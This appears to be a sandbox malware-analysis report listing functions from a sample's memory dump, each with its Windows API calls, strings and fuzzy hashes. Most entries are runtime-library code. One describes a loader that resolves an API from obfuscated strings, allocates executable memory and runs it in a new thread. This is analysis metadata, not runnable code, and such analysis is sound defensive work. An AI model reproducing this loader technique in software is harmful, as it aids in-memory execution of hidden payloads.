GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0013D804,?,20001004,00000000,00000002,?,?,0013CE04), ref: 0013F579

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 00d85351ae6db138c07d665bc03feafbbf2e1afd157c8d630a9be4da8d622b45
Instruction ID: fe0de6d9455aa6806484e4cb67ae91ead439932be15616326d07ad007aaa523f
Opcode Fuzzy Hash: 00d85351ae6db138c07d665bc03feafbbf2e1afd157c8d630a9be4da8d622b45
Instruction Fuzzy Hash: 69E04F35940118BBCF126F61EC05A9E7E1AEF54760F004025FD1566171CB318D62AAD4

Function 00135102 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000510E,0013477F), ref: 00135107

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e576b97a1c0449f1829f9c1b9d9d5f99ecc803e5709a040b1349669744a94196
Instruction ID: 55529a4f398e27ba9d365ed12b961389c999cb47a2b151e0af36e67b331b4be4
Opcode Fuzzy Hash: e576b97a1c0449f1829f9c1b9d9d5f99ecc803e5709a040b1349669744a94196
Instruction Fuzzy Hash:

Function 00147C0D Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00147C0D

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: e6a0daaac2ef2c7e967fac2be224c0737b21aa2b559e5065dd661fb234bf36a5
Instruction ID: 9449b8ce837054cdb6798039cbdceefa548741a3c38a221a2681d724a22dea9e
Opcode Fuzzy Hash: e6a0daaac2ef2c7e967fac2be224c0737b21aa2b559e5065dd661fb234bf36a5
Instruction Fuzzy Hash: CFA00274716202CFAB40CF35BF9D34D3BE9BB46AD1B05806AA805CA970EF3486D09B01

Function 00146AF8 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: b35755b1a912290dd7749e97c3e99f4b98c778e79fac831aeeb53f67aa5f1499
Instruction ID: e26699430ced01dc4539ee178116d94645ef8128693844a3fdd5528b2fc47b48
Opcode Fuzzy Hash: b35755b1a912290dd7749e97c3e99f4b98c778e79fac831aeeb53f67aa5f1499
Instruction Fuzzy Hash: FEB11675A007028BCB38AF64CC92BB7B3E9EF5530CF14456DE987C65A0EB75A985CB01

Function 0014C274 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0013116F: __EH_prolog3_catch.LIBCMT ref: 00131176
Part of subcall function 0013116F: _strlen.LIBCMT ref: 00131188

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0014C29C

Part of subcall function 00131852: _strlen.LIBCMT ref: 0013186A

_strlen.LIBCMT ref: 0014C2B7
_strlen.LIBCMT ref: 0014C2CD
GetProcAddress.KERNEL32(00000000,?), ref: 0014C2EA

Part of subcall function 0014C20E: VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,ole,00000000,?,?,0014C2FD), ref: 0014C222
Part of subcall function 0014C20E: CreateThread.KERNELBASE(00000000,00000000,00000188,00157018,00000000,00000000), ref: 0014C256
Part of subcall function 0014C20E: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,?,0014C2FD), ref: 0014C262
Part of subcall function 0014C20E: CloseHandle.KERNEL32(00000000,?,?,0014C2FD), ref: 0014C269

Part of subcall function 00131DFE: _Deallocate.LIBCONCRT ref: 00131E0D

Strings

kernel32.dll, xrefs: 0014C297
Free, xrefs: 0014C2A2
Madino Mino, xrefs: 0014C286
ole, xrefs: 0014C2C7, 0014C2CC, 0014C2D4
Cons, xrefs: 0014C2B1, 0014C2B6, 0014C2BE

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: _strlen$Handle$AddressAllocCloseCreateDeallocateH_prolog3_catchModuleObjectProcSingleThreadVirtualWait
String ID: Cons$Free$Madino Mino$kernel32.dll$ole
API String ID: 4115190924-2348686229
Opcode ID: 2893e4083aa1c704beaf889186bbf5bfd5d3eea9b921a16a49cd4677bb10334c
Instruction ID: 0243baa2dde74ccdf2a5f119973fcc19d49981760e7e0b12fdc24a8e4dcf79fc
Opcode Fuzzy Hash: 2893e4083aa1c704beaf889186bbf5bfd5d3eea9b921a16a49cd4677bb10334c
Instruction Fuzzy Hash: 5F015E71A00209ABDB15FBB4EC46CBE77B4EF55B10B500029F811A31A1EF749945C666

Function 00137E18 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00137F37
___TypeMatch.LIBVCRUNTIME ref: 00138045
_UnwindNestedFrames.LIBCMT ref: 00138197
CallUnexpected.LIBVCRUNTIME ref: 001381B2

Strings

csm, xrefs: 00137F6E
csm, xrefs: 00137E55
csm, xrefs: 00137EC2

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 284f23fa9bc06fb185d7219fb9646572bf8c4b1f6e83a1d8957eea73607f0033
Instruction ID: c04596617d39929cf08e54838f60bb98d350d4806700bf187f448432fcc6c4a0
Opcode Fuzzy Hash: 284f23fa9bc06fb185d7219fb9646572bf8c4b1f6e83a1d8957eea73607f0033
Instruction Fuzzy Hash: 47B158B5800309EFCF29DFA4C8819AEBBB5BF24310F14455AF8156B252DB31DE52CB91

Function 0014187C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 00141AF5

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 387e538d791d966b1e536f402e9bcd824751e1fd35b07bb2283a147472ac56dd
Instruction ID: 529774b7b09dd0800362f67bab7784a70d50c0c27ab84072437e9c06c5ad8c4d
Opcode Fuzzy Hash: 387e538d791d966b1e536f402e9bcd824751e1fd35b07bb2283a147472ac56dd
Instruction Fuzzy Hash: 29B12570A04249BFEB15DF99C880BADBBB2FF55304F144159E901AB3A2EB709DC1CB61

Function 00149AF9 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00B305D8,00B305D8,?,7FFFFFFF,?,00149DC9,00B305D8,00B305D8,?,00B305D8,?,?,?,?,00B305D8,?), ref: 00149B9F
__alloca_probe_16.LIBCMT ref: 00149C5A
__alloca_probe_16.LIBCMT ref: 00149CE9
__freea.LIBCMT ref: 00149D34
__freea.LIBCMT ref: 00149D3A
__freea.LIBCMT ref: 00149D70
__freea.LIBCMT ref: 00149D76
__freea.LIBCMT ref: 00149D86

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 68d2f546bc6a3c1884209950be3c12619a5014acbd2c0904b181e60aa728016c
Instruction ID: ea097dadd11f1a85500004298812b20989255610632ad98b493b9d79823413ac
Opcode Fuzzy Hash: 68d2f546bc6a3c1884209950be3c12619a5014acbd2c0904b181e60aa728016c
Instruction Fuzzy Hash: 7171E3B2D002056BDF219FA49C82FEF77E9DF99310F290059E914AB2A2E735DD4087A0

Function 001344DD Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00134526
__alloca_probe_16.LIBCMT ref: 00134552
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00134591
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001345AE
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 001345ED
__alloca_probe_16.LIBCMT ref: 0013460A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0013464C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 0013466F

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9b48132416c029c2ef4c7d671d607f12fb68c4b02fe239fe2b8e6ce88e89fde9
Instruction ID: c01bd830bb117d3d6b329b264d041e7c540ae77a74c4fc6f47aa61db1acb7b62
Opcode Fuzzy Hash: 9b48132416c029c2ef4c7d671d607f12fb68c4b02fe239fe2b8e6ce88e89fde9
Instruction Fuzzy Hash: F851B3B2900206ABEF209F60DC46FAB7BB9EF41794F154529F915E71A0D730ED51CB60

Function 001378B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 001378E7
___except_validate_context_record.LIBVCRUNTIME ref: 001378EF
_ValidateLocalCookies.LIBCMT ref: 00137978
__IsNonwritableInCurrentImage.LIBCMT ref: 001379A3
_ValidateLocalCookies.LIBCMT ref: 001379F8

Strings

csm, xrefs: 0013798D

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: dbf7faa8a40d61911cc54111d7e3019578451c41436c3211182a4d1ca77a0dab
Instruction ID: 07b3b9b7da907073a08f17b72dedbe1dbb2244e2359c8b6b4c88e1b69960e3db
Opcode Fuzzy Hash: dbf7faa8a40d61911cc54111d7e3019578451c41436c3211182a4d1ca77a0dab
Instruction Fuzzy Hash: 8F41A774A04209DBCF10DF68C885BAEBBB5AF45328F148255F8159B3A2D731DA15CB91

Function 00132307 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0013230E
std::_Lockit::_Lockit.LIBCPMT ref: 00132318
int.LIBCPMT ref: 0013232F

Part of subcall function 00132867: std::_Lockit::_Lockit.LIBCPMT ref: 00132878
Part of subcall function 00132867: std::_Lockit::~_Lockit.LIBCPMT ref: 00132892

codecvt.LIBCPMT ref: 00132352
std::_Facet_Register.LIBCPMT ref: 00132369
std::_Lockit::~_Lockit.LIBCPMT ref: 00132389
Concurrency::cancel_current_task.LIBCPMT ref: 00132396

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: b01d8937769ae7f8110e3946a3ddcc572ff026dec07a6a955afeda39a6ce9bcf
Instruction ID: 1ac4328e584984edc7dd82c3783bfdf641538695ffa000c0024f7657c94a2805
Opcode Fuzzy Hash: b01d8937769ae7f8110e3946a3ddcc572ff026dec07a6a955afeda39a6ce9bcf
Instruction Fuzzy Hash: 8701B535900219CBCF15FBA4D845ABE7BB5BFA4724F240509F4107B292DF78AE05CB91

Function 0013239C Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001323A3
std::_Lockit::_Lockit.LIBCPMT ref: 001323AD
int.LIBCPMT ref: 001323C4

Part of subcall function 00132867: std::_Lockit::_Lockit.LIBCPMT ref: 00132878
Part of subcall function 00132867: std::_Lockit::~_Lockit.LIBCPMT ref: 00132892

ctype.LIBCPMT ref: 001323E7
std::_Facet_Register.LIBCPMT ref: 001323FE
std::_Lockit::~_Lockit.LIBCPMT ref: 0013241E
Concurrency::cancel_current_task.LIBCPMT ref: 0013242B

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registerctype
String ID:
API String ID: 2958136301-0
Opcode ID: 4b3e6de0efbac964069b0d97509629a7df647e15ce1222b8f5534e613d801239
Instruction ID: bac167a75c39db53cceaabf3b9c362969207a9debf4b0840f1828b6f78b2acd3
Opcode Fuzzy Hash: 4b3e6de0efbac964069b0d97509629a7df647e15ce1222b8f5534e613d801239
Instruction Fuzzy Hash: 4801D8319002158BCF05FBA4D845ABEBB75AFA4720F64450AF9117B391CF74AF45CB91

Function 00137AAA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00137AA1,00136070,00135152), ref: 00137AB8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00137AC6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00137ADF
SetLastError.KERNEL32(00000000,00137AA1,00136070,00135152), ref: 00137B31

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 063c72026e63988fc09969af3b7e4b2645c32a9d558061bba0479150c4039c36
Instruction ID: 019571904bba847979c1481bd6d9791352a66b9393020e0aa619b481222066d9
Opcode Fuzzy Hash: 063c72026e63988fc09969af3b7e4b2645c32a9d558061bba0479150c4039c36
Instruction Fuzzy Hash: F201F77261E3116EEE3527B47C8597F26D4EF213B1F24022BF515C28E1FF514D829250

Function 0013C37F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C118BA38,?,?,00000000,0014B356,000000FF,?,0013C30F,?,?,0013C2E3,00000000), ref: 0013C3B4
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0013C3C6
FreeLibrary.KERNEL32(00000000,?,00000000,0014B356,000000FF,?,0013C30F,?,?,0013C2E3,00000000), ref: 0013C3E8

Strings

CorExitProcess, xrefs: 0013C3BE
mscoree.dll, xrefs: 0013C3AD

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 436faf13f8248faac61c44c3d4a5b855b7ecfea6f8486c4a61b238976b1d2a45
Instruction ID: 7fd6e0a4fbb18e9bd69c7ae3119c16ec18a87e28e05719509b9a1762e556b387
Opcode Fuzzy Hash: 436faf13f8248faac61c44c3d4a5b855b7ecfea6f8486c4a61b238976b1d2a45
Instruction Fuzzy Hash: E301D636A44619AFCB118F54DC49FAEBBB8FB04B10F044129F811E3AB0DBB49940CB90

Function 00133E12 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00133E19
std::_Lockit::_Lockit.LIBCPMT ref: 00133E24
std::_Lockit::~_Lockit.LIBCPMT ref: 00133E92

Part of subcall function 00133F75: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00133F8D

std::locale::_Setgloballocale.LIBCPMT ref: 00133E3F
_Yarn.LIBCPMT ref: 00133E55

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: e28788b97105c0b29641fe4b95bea9195b6d20fa50fdd98d49d5e83304d5ac9a
Instruction ID: af2300052cb91436d5bfeccb9ad657f218c3794c999db24999d1a6a767d899e7
Opcode Fuzzy Hash: e28788b97105c0b29641fe4b95bea9195b6d20fa50fdd98d49d5e83304d5ac9a
Instruction Fuzzy Hash: 4201F275A002209BDB06EF20D851A3D7B75FFA4750F48001AE82167791CF34AF82CBCA

Function 001325A5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001325AC
std::_Lockit::_Lockit.LIBCPMT ref: 001325B9
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001325F6

Part of subcall function 00133F10: _Yarn.LIBCPMT ref: 00133F2F
Part of subcall function 00133F10: _Yarn.LIBCPMT ref: 00133F53

Strings

bad locale name, xrefs: 00132607

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$H_prolog3Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 482894088-1405518554
Opcode ID: 1d9830b1bf72eff7c57581e473882098fd2e4abfe584ec9156c10f48962da1fc
Instruction ID: 38f8b540222ad2bf544c68ea7dbbaec30aebb115dba0bf0330b66d8c52eb2436
Opcode Fuzzy Hash: 1d9830b1bf72eff7c57581e473882098fd2e4abfe584ec9156c10f48962da1fc
Instruction Fuzzy Hash: 4F018CB19057549FCB20AF6A988154BFEE0BF38310B40896FE58D97A01C770A644CBAA

Function 00138BF2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00155048,00000000,00000800,?,00138BA3,00000000,?,00000000,?,?,?,00138CCD,00000002,FlsGetValue,0014EC80,FlsGetValue), ref: 00138BFF
GetLastError.KERNEL32(?,00138BA3,00000000,?,00000000,?,?,?,00138CCD,00000002,FlsGetValue,0014EC80,FlsGetValue,00000000,?,00137B5D), ref: 00138C09
LoadLibraryExW.KERNEL32(00155048,00000000,00000000,?,00155048,?,?,?,001318ED,?,001318ED,?), ref: 00138C31

Strings

api-ms-, xrefs: 00138C16

Memory Dump Source

Source File: 00000000.00000002.2051289979.0000000000131000.00000020.00000001.01000000.00000003.sdmp, Offset: 00130000, based on PE: true

Associated: 00000000.00000002.2051193941.0000000000130000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051314006.000000000014D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000157000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051331641.0000000000189000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2051436268.000000000018C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_130000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
